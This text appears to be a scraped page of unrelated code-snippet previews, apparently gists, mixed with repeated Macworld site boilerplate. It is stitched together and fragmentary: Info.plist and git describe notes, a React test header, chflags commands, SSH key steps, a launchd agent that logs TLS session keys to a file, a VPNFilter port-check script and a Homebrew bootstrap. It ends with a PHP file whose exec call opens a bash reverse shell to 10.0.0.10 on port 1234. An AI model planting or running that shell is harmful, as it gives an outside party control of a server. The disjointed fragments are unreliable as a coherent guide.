https://itunes.apple.com/de/app/macos-sierra/id1127487414?l=en&mt=12
Link: canonical Link: amphtml Close Ad Link: http://www.macworld.com * Subscribe ▲ Learn more about Macworld's Digital Edition Macworld Magazine Cover
| #!/bin/bash | |
| # by Andreas Monitzer (@anlumo1) and Pepi Zawodsky (@MacLemon) | |
| # | |
| # This script published under WTF license | |
| # http://en.wikipedia.org/wiki/WTFPL | |
| # Improvements to this script are welcome though. | |
| # Augments the Info.plist with a lot of nice stuff. | |
| # It's suggested to call this script from a "run script" build phase, not copy the script's contents there. |
| # The command finds the most recent tag that is reachable from a commit. | |
| # If the tag points to the commit, then only the tag is shown. | |
| # Otherwise, it suffixes the tag name with the number of additional commits on top of the tagged object | |
| # and the abbreviated object name of the most recent commit. | |
| git describe | |
| # With --abbrev set to 0, the command can be used to find the closest tagname without any suffix: | |
| git describe --abbrev=0 | |
| # other examples |
| import React, { Component, createElement } from "react"; | |
| import Enzyme, { shallow, render, mount } from "enzyme"; | |
| import Adapter from "enzyme-adapter-react-16"; | |
| import { action, observable, computed } from "mobx"; | |
| import { observer } from "mobx-react"; | |
| Enzyme.configure({ adapter: new Adapter() }); | |
| class Store { | |
| @observable val = 0; | |
| } |
| # This is the nuclear option. Use with extreme care | |
| # Works up to and including Mountain Lion (10.8.x) | |
| # Show all extended attributes | |
| ls -lOe ~/dir-to-fix | |
| # Remove no-change attributes | |
| sudo chflags nouchg ~/dir-to-fix | |
| # Recursively clear all entended attributes |
https://itunes.apple.com/de/app/macos-sierra/id1127487414?l=en&mt=12
Link: canonical Link: amphtml Close Ad Link: http://www.macworld.com * Subscribe ▲ Learn more about Macworld's Digital Edition Macworld Magazine Cover
Check if you have existing keys by opening the terminal and entering:
ssh-add -l OR ls -al ~/.ssh and check for any file called (usually) id_rsa or similar
Identify the host you're using your current key for. You probably added this key to, for example your github or gitlab account. We will use this later on.
If you don't have a config file on ~/.ssh folder, you will need to create one. We'll get back to this later.
tlskeylogger.plist at ~/Library/LaunchAgents/tlskeylogger.plistlaunchctl load ~/Library/LaunchAgents/tlskeylogger.plist, so it will load on the next restartlaunchctl start ~/Library/LaunchAgents/tlskeylogger.plist, so it will load the environment variable immediately~/.tlskeyfile via tail -f ~/.tlskeyfile| #Requires -RunAsAdministrator | |
| # description: quick port scan for vulnerable VPNFilter for your router, you can specify router ip manually, | |
| # by default it will hit the external IP of your router, which is what VPNFilter would be scanning | |
| # author: github @sonjz | |
| param( | |
| [string]$routerIp = $null, # if not provided, it will perform a WhatsMyIp and scan that address | |
| [int[]]$ports = @(23, 80, 2000, 8080), # current VPNFilter ports, http://forums.timewarnercable.com/t5/Connectivity/VPNFilter-Arris-TG1672/m-p/152563/highlight/true#M50525 | |
| [switch]$skipInstall = $false, |
| #!/bin/sh | |
| # Bootstrap new OSX system with common CLI utilities and scripts. | |
| # Prereq: | |
| # Install java from: http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html | |
| export PATH=~/.ellipsis/bin:/usr/local/bin:$PATH | |
| ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" |
| <?php | |
| exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'"); |